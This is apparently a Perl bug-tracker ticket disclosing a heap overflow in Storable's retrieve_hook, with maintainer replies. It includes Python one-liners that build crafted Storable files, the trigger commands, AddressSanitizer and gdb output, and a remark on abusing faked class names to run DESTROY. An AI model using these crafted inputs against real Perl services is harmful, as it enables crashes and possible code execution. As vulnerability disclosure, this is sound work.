Skip Menu |
Report information
Id: 131999
Status: open
Priority: 0/
Queue: perl5

Owner: Nobody
Requestors: imdb95 [at] gmail.com
Cc:
AdminCc:

Operating System: (no value)
PatchStatus: (no value)
Severity: (no value)
Type: (no value)
Perl Version: (no value)
Fixed In: (no value)



Date: Thu, 31 Aug 2017 02:17:01 +0700
To: Tony Cook via RT <perl5-security-report [...] perl.org>
From: Manh Nguyen <imdb95 [...] gmail.com>
Subject: Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE
Download (untitled) / with headers
text/plain 6.9k
Greetings,

I found another RCE bug in Storable (that differs from #131990), which could lead to RCE.

**********Build Date & Hardware**********
Version: Version: the dev version (https://perl5.git.perl.org/perl.git)
manh@manh-VirtualBox:~/Fuzzing/afl/perl$ ./perl/perl -v

This is perl 5, version 27, subversion 4 (v5.27.4 (v5.27.3-14-gd2dccc0)) built for x86_64-linux

Copyright 1987-2017, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl".  If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.
--------------
OS: Ubuntu 16.04 Desktop
manh@manh-VirtualBox:~/Fuzzing/afl/perl$ uname -a
Linux manh-VirtualBox 4.4.0-92-generic #115-Ubuntu SMP Thu Aug 10 09:04:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
--------------
Compilation:
AFL_USE_ASAN=1 ./Configure -des -Dusedevel -DDEBUGGING -Dcc=afl-clang-fast -Doptimize=-O0\ -g && AFL_USE_ASAN=1 make

**********Reproduce**********
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use Storable;retrieve('crafthook')'
=================================================================
==26393==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200001d2ba at pc 0x0000004c6424 bp 0x7fffffefcf20 sp 0x7fffffefc6d0
WRITE of size 207 at 0x60200001d2ba thread T0
    #0 0x4c6423 in __asan_memcpy /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3
    #1 0xcc7859 in PerlIOBase_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:2095:3
    #2 0xcdb3e4 in PerlIOBuf_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:4079:9
    #3 0xcc7037 in Perl_PerlIO_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:1578:6
    #4 0x7ffff3974466 in retrieve_hook /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:4307:3
    #5 0x7ffff3960636 in retrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6222:7
    #6 0x7ffff395cf82 in do_retrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6406:7
    #7 0x7ffff3928126 in pretrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6511:9
    #8 0x7ffff3928126 in XS_Storable_pretrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6723
    #9 0x93cd07 in Perl_pp_entersub /home/manh/Fuzzing/afl/perl/perl/pp_hot.c:4424:2
    #10 0x8396bc in Perl_runops_debug /home/manh/Fuzzing/afl/perl/perl/dump.c:2486:23
    #11 0x5e0342 in S_run_body /home/manh/Fuzzing/afl/perl/perl/perl.c
    #12 0x5e0342 in perl_run /home/manh/Fuzzing/afl/perl/perl/perl.c:2484
    #13 0x5095cb in main /home/manh/Fuzzing/afl/perl/perl/perlmain.c:154:9
    #14 0x7ffff6caf82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #15 0x435928 in _start (/home/manh/Fuzzing/afl/perl/perl/perl+0x435928)

0x60200001d2ba is located 0 bytes to the right of 10-byte region [0x60200001d2b0,0x60200001d2ba)
allocated by thread T0 here:
    #0 0x4dc62c in malloc /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66:3
    #1 0x83ed2b in Perl_safesysmalloc /home/manh/Fuzzing/afl/perl/perl/util.c:153:21

SUMMARY: AddressSanitizer: heap-buffer-overflow /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c047fffba00: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba10: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba20: fa fa 00 02 fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fffba30: fa fa fd fd fa fa fd fd fa fa 00 03 fa fa 00 fa
  0x0c047fffba40: fa fa 00 00 fa fa 02 fa fa fa 00 02 fa fa 00 02
=>0x0c047fffba50: fa fa 00 02 fa fa 00[02]fa fa fa fa fa fa fa fa
  0x0c047fffba60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffbaa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==26393==ABORTING

**********Analysis**********
This bug is similar to #131990, in which NEWSV is called with len = -1.
At Storable.xs:4305 in retrieve_hook:
    frozen = NEWSV(10002, len2);
I can control the len2 by create a crafted file as following:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ python -c "open('crafthook', 'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\x13\x98\x01A\xff\xff\xff\xffAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"
and pass it as parameter for retrieve:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ perl -e 'use Storable; retrieve('crafthook')'

As in #131990, the function newSV calls sv_grow(sv, len + 1) -> sv_grow(sv, 0) -> a valid sv is created, but its lenght < len.
Then at Storable.xs:4307:
    SAFEREAD(SvPVX(frozen), len2, frozen);
    => Trigger heap-buffer-overflow
    
Breakpoint 1, retrieve_hook (cxt=0xa9a350, cname=0x0) at Storable.xs:4305
4305 frozen = NEWSV(10002, len2);
(gdb) n
4306 if (len2) {
(gdb) n
4307 SAFEREAD(SvPVX(frozen), len2, frozen);
(gdb) 
4550 }
(gdb) 
retrieve (cxt=0xa9a350, cname=0x0) at Storable.xs:6223
6223 if (!sv)
(gdb) p sv
$3 = (SV *) 0x0
(gdb) 

Because SAFEREAD reads directly the crafted data, we can easily control the heap. I created another crafted file (crafthook2), and checked what would happen if retrieve failed:

manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ python -c "open('crafthook2', 'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\x13\x98\x01A\xff\xff\xff\xffA')"

This crafthook2 also has the invalid len -1, but the data for it is just "A", so that it won't overwrite the heap. Then:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use Storable; retrieve('crafthook2'); print "Everythings alright\n"'
Everythings alright
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ 
=> It means we can overwrite the heap in some way, so that the program would pass retrieve without any SEGFAULT => Potential RCE!!!

My default perl v5.22.1 also suffers from this bug. I guess other perl versions should do, too.

Looking forward for your reply,
Manh
Download crafthook
application/octet-stream 234b

Message body not shown because it is not plain text.

Download crafthook2
application/octet-stream 28b

Message body not shown because it is not plain text.

From: Manh Nguyen <imdb95 [...] gmail.com>
Subject: Re: Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE
Date: Wed, 11 Oct 2017 10:48:25 +0700
To: Tony Cook via RT <perl5-security-report [...] perl.org>
Download (untitled) / with headers
text/plain 7.4k
Hello,
I haven't received your reply for this please?

On Thu, Aug 31, 2017 at 2:17 AM, Manh Nguyen <imdb95@gmail.com> wrote:
Show quoted text
Greetings,

I found another RCE bug in Storable (that differs from #131990), which could lead to RCE.

**********Build Date & Hardware**********
Version: Version: the dev version (https://perl5.git.perl.org/perl.git)
manh@manh-VirtualBox:~/Fuzzing/afl/perl$ ./perl/perl -v

This is perl 5, version 27, subversion 4 (v5.27.4 (v5.27.3-14-gd2dccc0)) built for x86_64-linux

Copyright 1987-2017, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl".  If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.
--------------
OS: Ubuntu 16.04 Desktop
manh@manh-VirtualBox:~/Fuzzing/afl/perl$ uname -a
Linux manh-VirtualBox 4.4.0-92-generic #115-Ubuntu SMP Thu Aug 10 09:04:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
--------------
Compilation:
AFL_USE_ASAN=1 ./Configure -des -Dusedevel -DDEBUGGING -Dcc=afl-clang-fast -Doptimize=-O0\ -g && AFL_USE_ASAN=1 make

**********Reproduce**********
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use Storable;retrieve('crafthook')'
=================================================================
==26393==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200001d2ba at pc 0x0000004c6424 bp 0x7fffffefcf20 sp 0x7fffffefc6d0
WRITE of size 207 at 0x60200001d2ba thread T0
    #0 0x4c6423 in __asan_memcpy /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3
    #1 0xcc7859 in PerlIOBase_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:2095:3
    #2 0xcdb3e4 in PerlIOBuf_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:4079:9
    #3 0xcc7037 in Perl_PerlIO_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:1578:6
    #4 0x7ffff3974466 in retrieve_hook /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:4307:3
    #5 0x7ffff3960636 in retrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6222:7
    #6 0x7ffff395cf82 in do_retrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6406:7
    #7 0x7ffff3928126 in pretrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6511:9
    #8 0x7ffff3928126 in XS_Storable_pretrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6723
    #9 0x93cd07 in Perl_pp_entersub /home/manh/Fuzzing/afl/perl/perl/pp_hot.c:4424:2
    #10 0x8396bc in Perl_runops_debug /home/manh/Fuzzing/afl/perl/perl/dump.c:2486:23
    #11 0x5e0342 in S_run_body /home/manh/Fuzzing/afl/perl/perl/perl.c
    #12 0x5e0342 in perl_run /home/manh/Fuzzing/afl/perl/perl/perl.c:2484
    #13 0x5095cb in main /home/manh/Fuzzing/afl/perl/perl/perlmain.c:154:9
    #14 0x7ffff6caf82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #15 0x435928 in _start (/home/manh/Fuzzing/afl/perl/perl/perl+0x435928)

0x60200001d2ba is located 0 bytes to the right of 10-byte region [0x60200001d2b0,0x60200001d2ba)
allocated by thread T0 here:
    #0 0x4dc62c in malloc /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66:3
    #1 0x83ed2b in Perl_safesysmalloc /home/manh/Fuzzing/afl/perl/perl/util.c:153:21

SUMMARY: AddressSanitizer: heap-buffer-overflow /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c047fffba00: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba10: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba20: fa fa 00 02 fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fffba30: fa fa fd fd fa fa fd fd fa fa 00 03 fa fa 00 fa
  0x0c047fffba40: fa fa 00 00 fa fa 02 fa fa fa 00 02 fa fa 00 02
=>0x0c047fffba50: fa fa 00 02 fa fa 00[02]fa fa fa fa fa fa fa fa
  0x0c047fffba60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffbaa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==26393==ABORTING

**********Analysis**********
This bug is similar to #131990, in which NEWSV is called with len = -1.
At Storable.xs:4305 in retrieve_hook:
    frozen = NEWSV(10002, len2);
I can control the len2 by create a crafted file as following:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ python -c "open('crafthook', 'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\x13\x98\x01A\xff\xff\xff\xffAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"
and pass it as parameter for retrieve:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ perl -e 'use Storable; retrieve('crafthook')'

As in #131990, the function newSV calls sv_grow(sv, len + 1) -> sv_grow(sv, 0) -> a valid sv is created, but its lenght < len.
Then at Storable.xs:4307:
    SAFEREAD(SvPVX(frozen), len2, frozen);
    => Trigger heap-buffer-overflow
    
Breakpoint 1, retrieve_hook (cxt=0xa9a350, cname=0x0) at Storable.xs:4305
4305 frozen = NEWSV(10002, len2);
(gdb) n
4306 if (len2) {
(gdb) n
4307 SAFEREAD(SvPVX(frozen), len2, frozen);
(gdb) 
4550 }
(gdb) 
retrieve (cxt=0xa9a350, cname=0x0) at Storable.xs:6223
6223 if (!sv)
(gdb) p sv
$3 = (SV *) 0x0
(gdb) 

Because SAFEREAD reads directly the crafted data, we can easily control the heap. I created another crafted file (crafthook2), and checked what would happen if retrieve failed:

manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ python -c "open('crafthook2', 'wb').write('pst0\x04\n\x0812345678\x04\x08\x08\x08\x13\x98\x01A\xff\xff\xff\xffA')"

This crafthook2 also has the invalid len -1, but the data for it is just "A", so that it won't overwrite the heap. Then:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use Storable; retrieve('crafthook2'); print "Everythings alright\n"'
Everythings alright
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ 
=> It means we can overwrite the heap in some way, so that the program would pass retrieve without any SEGFAULT => Potential RCE!!!

My default perl v5.22.1 also suffers from this bug. I guess other perl versions should do, too.

Looking forward for your reply,
Manh

Subject: Re: [perl #132264] Re: Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE
From: Tony Cook <tony [...] develop-help.com>
Date: Wed, 11 Oct 2017 15:27:47 +1100
To: perl5-security-report [...] perl.org
Download (untitled) / with headers
text/plain 633b
On Tue, Oct 10, 2017 at 08:48:39PM -0700, Nguyen Duc Manh wrote: Show quoted text
> # New Ticket Created by Nguyen Duc Manh > # Please include the string: [perl #132264] > # in the subject line of all future correspondence about this issue. > # <URL: https://rt.perl.org/Ticket/Display.html?id=132264 > > > > Hello, > I haven't received your reply for this please?
Sorry for not replying earlier, I've been busy with another project and I guess everyone else is busy too. We don't support feeding arbitrary or untrusted storable dumps to Storable. Feeding untrusted data to Storable can lead to much simpler and worse vulnerabilities. Tony
From: Manh Nguyen <imdb95 [...] gmail.com>
Subject: Re: [perl #132264] Re: Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE
Date: Wed, 11 Oct 2017 11:33:08 +0700
To: perl5-security-report-followup [...] perl.org
I see. For example, faking class name would lead to executing DESTROY function of that class. However, useful DESTROYs are not always available, depending on packages that are being loaded.
Could you give me some more examples of RCE with untrusted data to Storable which are more reliable? 

On Wed, Oct 11, 2017 at 11:27 AM, Tony Cook via RT <perl5-security-report-followup@perl.org> wrote:
Show quoted text
On Tue, Oct 10, 2017 at 08:48:39PM -0700, Nguyen Duc Manh wrote:
> # New Ticket Created by  Nguyen Duc Manh
> # Please include the string:  [perl #132264]
> # in the subject line of all future correspondence about this issue.
> # <URL: https://rt.perl.org/Ticket/Display.html?id=132264 >
>
>
> Hello,
> I haven't received your reply for this please?

Sorry for not replying earlier, I've been busy with another project
and I guess everyone else is busy too.

We don't support feeding arbitrary or untrusted storable dumps to
Storable.

Feeding untrusted data to Storable can lead to much simpler and worse
vulnerabilities.

Tony


Date: Wed, 29 Nov 2017 11:50:10 +0000
CC: perl5-security-report-followup [...] perl.org
To: Manh Nguyen <imdb95 [...] gmail.com>
From: Dave Mitchell <davem [...] iabyn.com>
Subject: Re: [perl #132264] Re: Heap-buffer-over-flow in Storable.xs:retrieve_hook that could lead to RCE
On Wed, Oct 11, 2017 at 11:33:08AM +0700, Manh Nguyen wrote: Show quoted text
> I see. For example, faking class name would lead to executing DESTROY > function of that class. However, useful DESTROYs are not always available, > depending on packages that are being loaded. > Could you give me some more examples of RCE with untrusted data to Storable > which are more reliable?
I intend to close this ticket. Here is pod from Storable.pm: =head1 SECURITY WARNING B<Do not accept Storable documents from untrusted sources!> Some features of Storable can lead to security vulnerabilities if you accept Storable documents from untrusted sources. Most obviously, the optional (off by default) CODE reference serialization feature allows transfer of code to the deserializing process. Furthermore, any serialized object will cause Storable to helpfully load the module corresponding to the class of the object in the deserializing module. For manipulated module names, this can load almost arbitrary code. Finally, the deserialized object's destructors will be invoked when the objects get destroyed in the deserializing process. Maliciously crafted Storable documents may put such objects in the value of a hash key that is overridden by another key/value pair in the same hash, thus causing immediate destructor execution. In a future version of Storable, we intend to provide options to disable loading modules for classes and to disable deserializing objects altogether. I<Nonetheless, Storable deserializing documents from untrusted sources is expected to have other, yet undiscovered, security concerns such as allowing an attacker to cause the deserializer to crash hard.> B<Therefore, let me repeat: Do not accept Storable documents from untrusted sources!> If your application requires accepting data from untrusted sources, you are best off with a less powerful and more-likely safe serialization format and implementation. If your data is sufficiently simple, JSON is a good choice and offers maximum interoperability. -- If life gives you lemons, you'll probably develop a citric acid allergy.
RT-Send-CC: perl5-porters [...] perl.org
Download (untitled) / with headers
text/plain 852b
On Tue, 10 Oct 2017 21:27:59 -0700, tonyc wrote: Show quoted text
> On Tue, Oct 10, 2017 at 08:48:39PM -0700, Nguyen Duc Manh wrote:
> > # New Ticket Created by Nguyen Duc Manh > > # Please include the string: [perl #132264] > > # in the subject line of all future correspondence about this issue. > > # <URL: https://rt.perl.org/Ticket/Display.html?id=132264 > > > > > > > Hello, > > I haven't received your reply for this please?
> > Sorry for not replying earlier, I've been busy with another project > and I guess everyone else is busy too. > > We don't support feeding arbitrary or untrusted storable dumps to > Storable. > > Feeding untrusted data to Storable can lead to much simpler and worse > vulnerabilities.
This isn't a security issue, but it is a bug. I've moved it to the public queue. I have a fix for it in my working Storable branch. Tony


This service is sponsored and maintained by Best Practical Solutions and runs on Perl.org infrastructure.

For issues related to this RT instance (aka "perlbug"), please contact perlbug-admin at perl.org